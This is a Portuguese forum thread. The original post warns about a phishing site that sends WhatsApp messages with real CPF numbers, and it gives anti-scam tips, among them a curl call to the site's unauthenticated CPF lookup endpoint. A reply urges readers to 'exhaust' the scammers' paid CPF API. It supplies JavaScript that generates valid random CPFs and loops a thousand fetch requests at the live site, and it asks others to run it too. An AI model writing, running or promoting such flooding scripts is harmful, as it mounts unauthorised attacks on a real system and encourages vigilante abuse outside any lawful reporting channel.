Executando verificação de segurança...
1

[GOLPE] Quando os Golpistas Deixam a Porta dos Fundos Aberta: Um Caso de Phishing Brazuca

Sabe aquela necessidade de validar CPF? Teve uma época que o pessoal usava uma API do SUS pra isso. Funcionava até que descontinuaram. Brasileirice pura.

Semana passada meu grupo da família recebeu mensagem perguntando se o site guiabenefibr.com era do governo. Spoiler: não era.

O esquema era clássico: mensagens no WhatsApp com dados reais de CPF. Isso passa aquela falsa sensação de "eles têm meus dados, deve ser legítimo".

A Parte Boa

Fui fuçar o site e achei isso:

curl 'https://guiabenefibr.com/a/consulta-cpf.php?cpf=NUMERO_CPF'

Rota aberta. Sem autenticação. Sem nada.

Os caras montaram toda uma operação de phishing e deixaram a consulta mais aberta que portão de festa universitária.

O que aprender disso

Pros seus parentes:

  • Site do governo é .gov.br, não .com
  • Governo não manda benefício por WhatsApp
  • Urgência de 24h é tática de golpista

Pra galera técnica:

  • Endpoint com parâmetro cpf na URL gritando pra ser testado
  • Se até golpista erra básico de segurança, imagina o resto

Avisei o grupo. Expliquei. Mandei print.

Resposta: "Mas e se for verdade?"

Vai ser longa a jornada.

Carregando publicação patrocinada...
2

Parabéns pelo achado

Esses golpistas pagam para usar um painel cpf, então sempre que você acha um site como esse é seu dever esgotar a api cpf deles para eles terem prejuiso

exemplo de ataque pra deixar rodando até eles não terem mais creditos

function gerarCPF() {
  // Gera os 9 primeiros dígitos aleatórios
  let cpf = Array.from({length: 9}, () => Math.floor(Math.random() * 10));

  // Calcula o primeiro dígito verificador
  let soma = cpf.reduce((acc, digito, i) => acc + digito * (10 - i), 0);
  let dv1 = (soma * 10) % 11;
  if (dv1 === 10 || dv1 === 11) dv1 = 0;
  cpf.push(dv1);

  // Calcula o segundo dígito verificador
  soma = cpf.reduce((acc, digito, i) => acc + digito * (11 - i), 0);
  let dv2 = (soma * 10) % 11;
  if (dv2 === 10 || dv2 === 11) dv2 = 0;
  cpf.push(dv2);

  return cpf.join('');
}
function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}
// Exemplos de uso
console.log(gerarCPF()); // ex: 52998224725
console.log(gerarCPF()); // ex: 14785236901
for (let i = 0; i < 1000; i++) {

   await sleep(1000)
  fetch("https://guiabenefibr.com/a/consulta-cpf.php?cpf="+gerarCPF(), {
  "headers": {
    "accept": "*/*",
    "accept-language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7",
    "cache-control": "no-cache",
    "pragma": "no-cache",
    "priority": "u=1, i",
    "sec-ch-ua": "\"Chromium\";v=\"146\", \"Not-A.Brand\";v=\"24\", \"Google Chrome\";v=\"146\"",
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": "\"Windows\"",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin"
  },
  "referrer": "https://guiabenefibr.com/index.html?cpf=58402136087",
  "body": null,
  "method": "GET",
  "mode": "cors",
  "credentials": "omit"
});
}

já fiz minha parte:

{
    "success": false,
    "erro": "Base externa indisponível ou timeout.",
    "debug_code": 503,
    "curl_error": "",
    "cpf": "17388526790"
}

deixa fazendo ai tambem pra esgotar mesmo